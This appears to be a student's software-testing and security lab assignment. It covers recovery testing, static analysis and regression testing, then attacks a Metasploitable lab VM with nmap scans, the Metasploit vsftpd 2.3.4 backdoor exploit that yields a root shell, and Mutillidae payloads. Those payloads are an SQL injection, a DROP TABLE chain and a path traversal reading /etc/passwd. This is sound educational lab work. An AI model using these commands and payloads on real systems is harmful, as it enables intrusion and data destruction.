

Part - 1

1)

Recoverability: the capability for re-establishing its level of performance and recovering the data affected by any system failures or attacks.

Steps as admin: -

- Backup the application and create snapshots to restore to a previously working state in case of a failure.
- Use cloud services to maintain a remote copy as well.

Recovery Testing: -

- When an application is receiving data from the network, unplug and re-plug the cable and analyse the application's reliability for receiving data from the point at which the network connection was broken.
- Although online backups are reliable, we must test the restore of retrieval functionality, security or encryption.
- Testing the encryption with the help of password cracking tools like Hashcat.

Post-Testing Activities: -

- After the execution of the test cases of highly ranked vulnerabilities, the effects of these vulnerabilities on other units of the system are further analysed.
- The analysis includes the following:
 - 1) Identify the causes of each validated vulnerability.
 - 2) Generate recommendations for fixing each validated vulnerability.
 - 3) Document all the important information involved in the security testing, such as system, network, vulnerabilities and fixes for vulnerabilities

2)

(a)

Automatic code analysis parse the source code and try to discover potential errors and vulnerabilities, and bring these to developer's attention.

Types:

- Control flow analysis: Check for loops with multiple exit or entry points, finds unreachable code, etc.

Example:

```
int main() {  
    while(true);  
    print("Hello");    // Unreachable code  
}
```

- Data use analysis: Detect un-initialized variables, variables written twice without an intervening assignment, variables which are declared but never used, etc.

```
int main() {  
    Int x;  
    print(x);    // Use of un-initialised variable  
}
```

- Interface analysis: Check consistency of function declarations and their use

```
public class Main {  
    public static void main(String[] args) {  
    }  
    void fun() {}    // Function may be static warning  
}
```

- Information flow analysis: Identify dependencies of output variables.
Example-When you click a variable all its usages can be viewed and all instances are highlighted as underlined.

(b)

Code analysis type	Sub-functionality	Supported
Control flow analysis	Unreachable code	Yes
Data use analysis	Duplicated code detector, Code folding, Code completion, Quick Fixes	Yes
Interface analysis	Extract methods	Yes
Information flow analysis	Find usages, Go to declaration	Yes
Fault/Failure analysis	Debugger	Yes

(c)

The objective of the regression test phase is to ensure that all code changes that occurred in later executions of project integration and large volume testing have not had a negative impact on the validity of earlier tests.

The regression test will cover all applications that may have been affected by some program change implemented during the project integration or large volume test phases.

(1)

- Verify that all the required buttons- numbers 0-9, calling buttons etc are present
- Verify the pressure required to press a key on the keypad
- Verify that spacing between the keys on the keypad are adequate
- Try with the power cord on or on battery mode.
- Try after screensaver locks the screen.
- Try with partial contact of the registered finger

(2)

- Verify that facial recognition recognizes its user wearing makeup or glasses
- Verify that it does not unlock from a different person
- Verify that it does not unlock with a picture/video of its user
- Try with dim lighting or in complete dark using phone's light

(3)

- Codeless Automated Testing
- Machine Learning and Artificial Intelligence for Automation
- Rising Demand for IoT and Big Data Testing
- Performance Engineering
- Higher Demands for Cybersecurity & Risk Compliance
- Mobile Application Automated Testing

(4)

Regression testing is the software testing method or practice in which it is ensured that an application is functioning as expected if there is any change, improvement or update in the code. It provides the stability to all the functions and features. Now we will use the test cases and verify the functionalities.

Part 2:

1)

```
(root@kali)-[/home/herschelle/Desktop]
# nmap -O 192.168.138.133
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 01:26 IST
Nmap scan report for 192.168.138.133
Host is up (0.00070s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:4C:D5:B6 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at ht
Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds
```

a) Command used: nmap -O <IP>

Option -O enables OS detection which comes out to be Linux 2.6.X

b)

```

(root@kali)-[/home/herschelle/Desktop]
# nmap -sV -f -p 0-65535 192.168.138.133
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 02:52 IST
Nmap scan report for 192.168.138.133
Host is up (0.0018s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33117/tcp open  status       1 (RPC #100024)
42368/tcp open  java-rmi     GNU Classpath grmiregistry
50323/tcp open  nlockmgr     1-4 (RPC #100021)
57993/tcp open  mntd         1-3 (RPC #100005)
MAC Address: 00:0C:29:4C:D5:B6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Un
nux_kernel

```

Open ports along with the service running on them and their version is listed in the attached image.

Command: `nmap -sV -p 0-65535 <IP>`

Options:

- sV for listing services along with version
 - p for specifying the range of ports to scan
- c)

root@kali: /home/herschelle/Desktop

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
----	-----	-----	-----

Exploit target:

Id	Name
--	----
0	Automatic

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.138.133
RHOSTS => 192.168.138.133
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS	192.168.138.133	yes	The target host(s), range CIDR identifier:<path>'
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
----	-----	-----	-----

Exploit target:

Id	Name
--	----
0	Automatic

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

```
root@kali: /home/herschelle/Desktop

root@kali: /home/herschelle/Desktop x

Exploit target:

  Id  Name
  --  ---
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.138.133:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.138.133:21 - USER: 331 Please specify the password.
[+] 192.168.138.133:21 - Backdoor service has been spawned, handling...
[+] 192.168.138.133:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.138.133:6200) at

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

```


(i) I used the tool Metasploit Framework which comes pre-installed in Kali.

(ii) With the information gained from part a) and b), I searched for exploits of ftp service version vsftpd 2.3.4 in the exploits database. The Metasploit Framework contains many exploits, I used the vsftpd_234_backdoor exploit.

In the console I used the following Commands:

- msfconsole (To start the Metasploit Framework)
- search vsftpd (Path to the exploit appeared)
- use exploit/unix/ftp/vsftpd_234_backdoor
- set rhosts <IP>
- exploit

(iii) Outcome was a remote reverse shell access.

d)

(i) If we enter a single quote an error pops up showing the sql statement used. Now we can easily manipulate the text in the blog to add blog by any random name who isn't even a registered user.

Error: Failure is always an option and this situation proves it

Line	190
Code	0
File	/var/www/mutillidae/add-to-your-blog.php
Message	Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"," now())' at line 1
Trace	#0 /var/www/mutillidae/index.php(469): include() #1 {main}
Diagnostic Information	Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"," now())' at line 1 Query: INSERT INTO blogs_table(blogger_name, comment, date) VALUES ('anonymous', '"," now())

Did you [setup/reset the DB?](#)

Add blog for anonymous

Note: ****, ****, **<i>**, **</i>**, **<u>** and **</u>** are now allowed in blog entries

first', now()), ('herschelle', 'second

Save Blog Entry

view Blog Entries



[Add To Your Blog](#)

Select Author and Click to View Blog

Please Choose Author ▼

View Blog Entries

15 Current Blog Entries			
	Name	Date	Comment
1	anonymous	2021-11-26 11:13:28	first
2	herschelle	2021-11-26 11:13:28	second
3	anonymous	2021-11-26 09:55:20	hello
4	admin	2009-03-01 22:31:13	Fear me, for I am ROOT!
5	dave	2009-03-01 22:31:13	Social Engineering is woot-tastic
6	kevin	2009-03-01 22:31:13	Read more Douglas Adams
7	kevin	2009-03-01 22:31:13	You should take SANS SEC542
8	asprox	2009-03-01 22:31:13	Fear me, for I am asprox!

(ii)

- 1) On running an attack through the zap software, we see a path traversal vulnerability. It exposes the passwd file which can be accessed by adding %2Fetc%2Fpasswd to the url.
- 2) `http://<IP>/mutillidae/index.php?page=%2Fetc%2Fpasswd`

← → ↻ ⚡ Not secure | 192.168.138.133/mutillidae/index.php?page=%2Fetc%2Fpasswd

Apps Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB MSFU

Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data


Core Controls ▶

OWASP Top 10 ▶

Others ▶

Documentation ▶

Resources ▶



```

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mail List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuid:x:100:101:/var/lib/libuid:/bin/sh dhcp:x:101:102:/nonexistent:/bin/false syslog:x:102:103:/home/syslog:/bin/false
klog:x:103:104:/home/klog:/bin/false sshd:x:104:65534:/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,/home/msfadmin:/bin/bash bind:x:105:113:/var/cache/bind:/bin/false
postfix:x:106:115:/var/spool/postfix:/bin/false ftp:x:107:65534:/home/ftp:/bin/false postgres:x:108:117:PostgreSQL
administrator,,/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,/var/lib/mysql:/bin/false
tomcat55:x:110:65534:/usr/share/tomcat5.5:/bin/false distccd:x:111:65534:/bin/false user:x:1001:1001:just a user,111,,/home/user:/bin/bash
service:x:1002:1002,,/home/service:/bin/bash telnetd:x:112:120:/nonexistent:/bin/false proftpd:x:113:65534:/var/run/proftpd:/bin/false
statd:x:114:65534:/var/lib/nfs:/bin/false

```

3) To purge a table we can chain sql statements

Add blog for anonymous

Note: ,,<i>,</i>,<u> and </u> are now allowed in blog entries

```

first', now()); DROP TABLE blogs_table; INSERT INTO
blogs_table(blogger_name, comment, date) VALUES ('anonymous',
'second|

```

Save Blog Entry

Another way would be to delete the table via the access through the reverse shell exploit.